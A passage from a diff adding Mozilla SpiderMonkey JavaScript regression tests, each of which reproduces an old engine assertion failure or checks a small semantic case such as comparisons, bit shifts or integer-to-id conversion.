+var summary = 'Do not assert: need a way to EOT now, since this is trace end';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function a()
+{
+ "".split(";");
+ this.v = true;
+}
+
+function b()
+{
+ var z = { t: function() { for (var i = 0; i < 5; i++) { a(); } } };
+ z.t();
+}
+
+b();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-463259.js b/js/src/tests/non262/regress/regress-463259.js
new file mode 100644
index 0000000000..f389957060
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-463259.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463259;
+var summary = 'Do not assert: VALUE_IS_FUNCTION(cx, fval)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ (function(){
+ eval("(function(){ for (var j=0;j<4;++j) if (j==3) undefined(); })();");
+ })();
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-463782.js b/js/src/tests/non262/regress/regress-463782.js
new file mode 100644
index 0000000000..d2805a58ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-463782.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463782;
+var summary = 'Do not assert: "need a way to EOT now, since this is trace end": 0';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function dateCheck() {
+ return true;
+}
+function dateToString()
+{
+ if (!this.dtsReturnValue)
+ this.dtsReturnValue = "200811080616";
+ return this.dtsReturnValue
+ }
+
+function placeAd2() {
+ var adClasses = {
+ "": {
+ templateCheck: function () {
+ var foo = ({
+ allianz:{
+ where:["intl/turningpoints"],
+ when:["200805010000/200901010000"],
+ what:["!234x60", "!bigbox_2", "!leaderboard_2", "!88x31"]
+ },
+ trendMicro:{
+ where:["techbiz/tech/threatmeter"],
+ when:["200806110000/200812310000"],
+ what:["leaderboard"]
+ },
+ rolex_bb:{
+ where:["politics/transitions"],
+ when:["200811050000/200901312359"],
+ what:["!bigbox"]
+ }
+ });
+
+ for (a in foo) {
+ if (dateCheck("", dateToString())) {
+ for (var c = 0; c < 1; c++) {
+ }
+ }
+ }
+ return true;
+ }
+ }
+ };
+
+ adClasses[""].templateCheck();
+}
+
+placeAd2();
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-464096.js b/js/src/tests/non262/regress/regress-464096.js
new file mode 100644
index 0000000000..aae2c2a1f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464096.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464096;
+var summary = 'TM: Do not assert: tm->recoveryDoublePoolPtr > tm->recoveryDoublePool';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let f in [1,1]);
+ Object.prototype.__defineGetter__('x', function() { return gc(); });
+ (function() { for (let j of [1,1,1,1,1]) { var y = .2; } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464334.js b/js/src/tests/non262/regress/regress-464334.js
new file mode 100644
index 0000000000..f95149cd65
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464334.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464334;
+var summary = 'Do not assert: (size_t) (fp->regs->sp - fp->slots) <= fp->script->nslots';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g()
+ {
+ gc();
+ }
+
+ var a = [];
+ for (var i = 0; i != 20; ++i)
+ a.push(i);
+ g.apply(this, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464403.js b/js/src/tests/non262/regress/regress-464403.js
new file mode 100644
index 0000000000..6d3e3fa910
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464403.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464403;
+var summary = 'Do not assert: tm->recorder != NULL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ print(8);
+ var u = [print, print, function(){}];
+ for (x of u) for (u.e in [1,1,1,1]);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464418.js b/js/src/tests/non262/regress/regress-464418.js
new file mode 100644
index 0000000000..94cf4e08ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464418.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464418;
+var summary = 'Do not assert: fp->slots + fp->script->nfixed + ' +
+ 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ for (let q = 0; q < 50; ++q) {
+ new Function("for (var i = 0; i < 5; ++i) { } ")();
+ var w = "r".match(/r/);
+ new Function("for (var j = 0; j < 1; ++j) { } ")();
+ }
+
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-464862.js b/js/src/tests/non262/regress/regress-464862.js
new file mode 100644
index 0000000000..cf555c76f9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464862.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464862;
+var summary = 'Do not assert: ( int32_t(delta) == uint8_t(delta) )';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function ygTreeView(id) {
+ this.init(id);
+}
+
+ygTreeView.prototype.init = function (id) {this.root = new ygRootNode(this);};
+
+function ygNode() {}
+
+ygNode.prototype.nextSibling = null;
+
+ygNode.prototype.init = function (_32, _33, _34) {
+ this.children = [];
+ this.expanded = _34;
+ if (_33) {
+ this.tree = _33.tree;
+ this.depth = _33.depth + 1;
+ _33.appendChild(this);
+ }
+};
+
+ygNode.prototype.appendChild = function (_35) {
+ if (this.hasChildren()) {
+ var sib = this.children[this.children.length - 1];
+ }
+ this.children[this.children.length] = _35;
+};
+
+ygNode.prototype.getElId = function () {};
+
+ygNode.prototype.getNodeHtml = function () {};
+
+ygNode.prototype.getToggleElId = function () {};
+
+ygNode.prototype.getStyle = function () {
+ var loc = this.nextSibling ? "t" : "l";
+ var _39 = "n";
+ if (this.hasChildren(true)) {}
+};
+
+ygNode.prototype.hasChildren = function () {return this.children.length > 0;};
+
+ygNode.prototype.getHtml = function () {
+ var sb = [];
+ sb[sb.length] = "<div class=\"ygtvitem\" id=\"" + this.getElId() + "\">";
+ sb[sb.length] = this.getNodeHtml();
+ sb[sb.length] = this.getChildrenHtml();
+};
+
+ygNode.prototype.getChildrenHtml = function () {
+ var sb = [];
+ if (this.hasChildren(true) && this.expanded) {
+ sb[sb.length] = this.renderChildren();
+ }
+};
+
+ygNode.prototype.renderChildren = function () {return this.completeRender();};
+
+ygNode.prototype.completeRender = function () {
+ var sb = [];
+ for (var i = 0; i < this.children.length; ++i) {
+ sb[sb.length] = this.children[i].getHtml();
+ }
+};
+
+ygRootNode.prototype = new ygNode;
+
+function ygRootNode(_48) {
+ this.init(null, null, true);
+}
+
+ygTextNode.prototype = new ygNode;
+
+function ygTextNode(_49, _50, _51) {
+ this.init(_49, _50, _51);
+ this.setUpLabel(_49);
+}
+
+ygTextNode.prototype.setUpLabel = function (_52) {
+ if (typeof _52 == "string") {}
+ if (_52.target) {}
+ this.labelElId = "ygtvlabelel" + this.index;
+};
+
+ygTextNode.prototype.getNodeHtml = function () {
+ var sb = new Array;
+ sb[sb.length] = "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";
+ sb[sb.length] = "<tr>";
+ for (i = 0; i < this.depth; ++i) {}
+ sb[sb.length] = " id=\"" + this.getToggleElId() + "\"";
+ sb[sb.length] = " class=\"" + this.getStyle() + "\"";
+ if (this.hasChildren(true)) {}
+ sb[sb.length] = " id=\"" + this.labelElId + "\"";
+};
+
+function buildUserTree() {
+ userTree = new ygTreeView("userTree");
+ addMenuNode(userTree, "N", "navheader");
+ addMenuNode(userTree, "R", "navheader");
+ addMenuNode(userTree, "S", "navheader");
+}
+
+function addMenuNode(tree, label, styleClass) {
+ new ygTextNode({}, tree.root, false);
+}
+
+buildUserTree();
+userTree.root.getHtml();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-464978.js b/js/src/tests/non262/regress/regress-464978.js
new file mode 100644
index 0000000000..5fe2ae86ad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-464978.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464978;
+var summary = 'Do not hang with [] + null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let j = 0; j < 2; ++j) { [] + null; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465013.js b/js/src/tests/non262/regress/regress-465013.js
new file mode 100644
index 0000000000..de936645f2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465013.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465013;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'bgcolor="dummy" quality="dummy" allowScriptAccess="dummy" ';
+
+
+ print((function(x) {
+ var ja = "";
+ var ka = {bgcolor:"#FFFFFF", quality:"high", allowScriptAccess:"always"};
+ for (var la in ka) {
+ ja +=[la] + "=\"" + x/*ka[la]*/ + "\" ";
+ }
+ return actual = ja;
+ })("dummy"));
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465132.js b/js/src/tests/non262/regress/regress-465132.js
new file mode 100644
index 0000000000..7bb607411c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465132.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465132;
+var summary = 'TM: Mathematical constants should be constant';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var constants = ['E', 'LN10', 'LN2', 'LOG2E', 'LOG10E', 'PI', 'SQRT1_2', 'SQRT2'];
+
+ for (var j = 0; j < constants.length; j++)
+ {
+ expect = Math[constants[j]];
+
+ for(i=0;i<9;++i)
+ ++Math[constants[j]];
+
+ for(i=0;i<9;++i)
+ eval('++Math.' + constants[j]);
+
+ actual = Math[constants[j]];
+
+ reportCompare(expect, actual, summary + ' Math.' + constants[j]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-465133.js b/js/src/tests/non262/regress/regress-465133.js
new file mode 100644
index 0000000000..9fad075199
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465133.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465133;
+var summary = '{} < {}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'false,false,false,false,false,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += ({} < {}) + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465135.js b/js/src/tests/non262/regress/regress-465135.js
new file mode 100644
index 0000000000..4af87514c7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465135.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465135;
+var summary = 'true << true';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '2,2,2,2,2,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (true << true) + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465136.js b/js/src/tests/non262/regress/regress-465136.js
new file mode 100644
index 0000000000..ef2b96a4f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465136.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465136;
+var summary = 'false == ""';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'true,true,true,true,true,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (false == '') + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465137.js b/js/src/tests/non262/regress/regress-465137.js
new file mode 100644
index 0000000000..968b850be0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465137.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465137;
+var summary = '!NaN is not false';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'falsy,falsy,falsy,falsy,falsy,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (!(NaN) ? "falsy" : "truthy") + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465220.js b/js/src/tests/non262/regress/regress-465220.js
new file mode 100644
index 0000000000..a17a23eae4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465220.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465220;
+var summary = 'Do not assert: anti-nesting';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: can\'t convert o to primitive type';
+
+
+ try
+ {
+ var o = {toString: function() { return (i > 2) ? this : "foo"; }};
+ var s = "";
+ for (var i = 0; i < 5; i++)
+ s += o + o;
+ print(s);
+ actual = 'No Exception';
+ }
+ catch(ex)
+ {
+ actual = 'TypeError: can\'t convert o to primitive type';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465234.js b/js/src/tests/non262/regress/regress-465234.js
new file mode 100644
index 0000000000..adb8476a6f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465234.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465234;
+var summary = '"" <= null';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ actual = true;
+
+
+ for (let j = 0; j < 5; ++j) actual = actual && ("" <= null);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465236.js b/js/src/tests/non262/regress/regress-465236.js
new file mode 100644
index 0000000000..7a07f17d57
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465236.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465236;
+var summary = 'TM: Do not assert: we should have converted to numbers already';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let j = 0; j < 2; ++j) null <= null;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465239.js b/js/src/tests/non262/regress/regress-465239.js
new file mode 100644
index 0000000000..86033c362a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465239.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465239;
+var summary = '"1e+81" ^ 3';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '3,3,3,3,3,';
+ actual = '';
+
+
+ for (let j = 0; j < 5; ++j) actual += ("1e+81" ^ 3) + ',';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465241.js b/js/src/tests/non262/regress/regress-465241.js
new file mode 100644
index 0000000000..852b3d0a00
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465241.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465241;
+var summary = '"0" in [3]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ actual = true;
+
+
+ for (let j = 0; j < 5; ++j) actual = actual && ("0" in [3]);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465249.js b/js/src/tests/non262/regress/regress-465249.js
new file mode 100644
index 0000000000..643ab4dd3a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465249.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465249;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ eval("for (let j = 0; j < 5; ++j) { (0x50505050) + (0x50505050); }");
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465261.js b/js/src/tests/non262/regress/regress-465261.js
new file mode 100644
index 0000000000..daad5c793c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465261.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465261;
+var summary = 'TM: Do not assert: ';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let z = 0; z < 2; ++z) {
+ for (let x of [0, true, (void 0), 0, (void 0)]) {
+ if(x){}
+ }
+ };
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465262.js b/js/src/tests/non262/regress/regress-465262.js
new file mode 100644
index 0000000000..b3c3e83468
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465262.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465262;
+var summary = 'truthiness of (3 > null)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = 'true,true,true,true,true,';
+
+ for(j=0;j<5;++j) print(actual += "" + (3 > null) + ',')
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465272.js b/js/src/tests/non262/regress/regress-465272.js
new file mode 100644
index 0000000000..fe7c012f2e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465272.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465272;
+var summary = 'subtraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = '3,3,3,3,3,';
+
+ for (j=0;j<5;++j) print(actual += "" + ((5) - 2) + ',');
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465308.js b/js/src/tests/non262/regress/regress-465308.js
new file mode 100644
index 0000000000..553b98f6c9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465308.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465308;
+var summary = '((0x60000009) * 0x60000009))';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '-1073741824,-1073741824,-1073741824,-1073741824,-1073741824,';
+
+ for (let j=0;j<5;++j)
+ print(actual += "" + (0 | ((0x60000009) * 0x60000009)) + ',');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465347.js b/js/src/tests/non262/regress/regress-465347.js
new file mode 100644
index 0000000000..207b860fe6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465347.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465347;
+var summary = 'Test integer to id in js_Int32ToId';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o;
+
+ o = new Array();
+
+ expect = undefined;
+ o[0xffffffff] = 'end';
+ actual = o[-1];
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = 42;
+ o['42'] = 42;
+ actual = o[42];
+ reportCompare(expect, actual, summary + ': 2');
+
+ //
+
+ o = new Object();
+
+ expect = undefined;
+ o[0xffffffff] = 'end';
+ actual = o[-1];
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = 42;
+ o['42'] = 42;
+ actual = o[42];
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/regress/regress-465366.js b/js/src/tests/non262/regress/regress-465366.js
new file mode 100644
index 0000000000..3c06e4251c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465366.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465366;
